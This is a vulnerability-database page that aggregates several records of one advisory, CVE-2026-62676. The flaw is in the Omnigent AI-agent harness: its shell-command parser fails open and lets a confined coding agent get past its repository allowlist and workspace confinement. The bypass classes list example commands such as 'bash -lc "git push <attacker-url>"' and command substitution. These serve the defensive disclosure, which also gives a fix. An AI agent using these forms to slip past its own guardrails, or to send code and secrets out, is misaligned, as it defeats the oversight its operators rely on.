Vulnerability-Lookup

PYSEC-2026-3873

Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02

Details

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

git push to an attacker-controlled repo (code / secret exfiltration),
push to a protected branch,
escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

Combined interpreter flags: bash -lc "git push <attacker-url>"
Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
Command substitution: x=$(git push <attacker-url>)
Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Impacted products

Name	purl
omnigent	pkg:pypi/omnigent

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "omnigent",
        "purl": "pkg:pypi/omnigent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1rc1",
        "0.0.1rc2",
        "0.1.0",
        "0.1.0rc1",
        "0.1.0rc2",
        "0.1.0rc3",
        "0.1.0rc4",
        "0.1.1",
        "0.1.1rc2",
        "0.2.0",
        "0.2.0rc1",
        "0.3.0rc1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62676",
    "GHSA-7mqg-cx4g-x2rf"
  ],
  "details": "**Reporter:** Aaron / Aeon \u2014 autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) \u2014 meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) \u2192 consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn\u0027t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement \u2014 the product\u0027s two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf \u2026 git push \u2026`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push \u2026` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` \u2192 ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.",
  "id": "PYSEC-2026-3873",
  "modified": "2026-09-10T11:02:18.188909Z",
  "published": "2026-09-10T09:44:59.740515Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/pull/389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/omnigent-ai/omnigent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/omnigent"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7mqg-cx4g-x2rf"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py"
}

CVE-2026-62676 (GCVE-0-2026-62676)

Vulnerability from cvelistv5 – Published: 2026-08-21 17:42 – Updated: 2026-08-26 17:32

Title

Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Summary

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 17:31 UTC

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/omnigent-ai/omnigent/security/…	x_refsource_CONFIRM
https://github.com/omnigent-ai/omnigent/pull/389	x_refsource_MISC
https://github.com/omnigent-ai/omnigent/commit/1a…	x_refsource_MISC
https://github.com/omnigent-ai/omnigent/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
omnigent-ai	omnigent	Affected: < 0.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-62676",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T17:31:50.102854Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T17:32:00.761Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "omnigent",
          "vendor": "omnigent-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184: Incomplete List of Disallowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-21T17:42:21.563Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
        },
        {
          "name": "https://github.com/omnigent-ai/omnigent/pull/389",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/omnigent-ai/omnigent/pull/389"
        },
        {
          "name": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
        },
        {
          "name": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-7mqg-cx4g-x2rf",
        "discovery": "UNKNOWN"
      },
      "title": "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-62676",
    "datePublished": "2026-08-21T17:42:21.563Z",
    "dateReserved": "2026-07-14T20:22:04.395Z",
    "dateUpdated": "2026-08-26T17:32:00.761Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-7MQG-CX4G-X2RF

Vulnerability from github – Published: 2026-09-02 22:40 – Updated: 2026-09-02 22:40

Summary

Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Details

Summary

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

git push to an attacker-controlled repo (code / secret exfiltration),
push to a protected branch,
escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

Combined interpreter flags: bash -lc "git push <attacker-url>"
Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
Command substitution: x=$(git push <attacker-url>)
Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "omnigent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T22:40:07Z",
    "nvd_published_at": "2026-08-21T18:16:49Z",
    "severity": "HIGH"
  },
  "details": "**Reporter:** Aaron / Aeon \u2014 autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) \u2014 meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) \u2192 consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn\u0027t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement \u2014 the product\u0027s two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf \u2026 git push \u2026`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push \u2026` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` \u2192 ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.",
  "id": "GHSA-7mqg-cx4g-x2rf",
  "modified": "2026-09-02T22:40:08Z",
  "published": "2026-09-02T22:40:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/pull/389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/omnigent-ai/omnigent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-3873

Summary

Impact

Bypass classes (all verified against the real policy code)

Suggested fix

CVE-2026-62676 (GCVE-0-2026-62676)

GHSA-7MQG-CX4G-X2RF

Summary

Impact

Bypass classes (all verified against the real policy code)

Suggested fix

Tags

Sightings

Nomenclature

Related by attack behaviour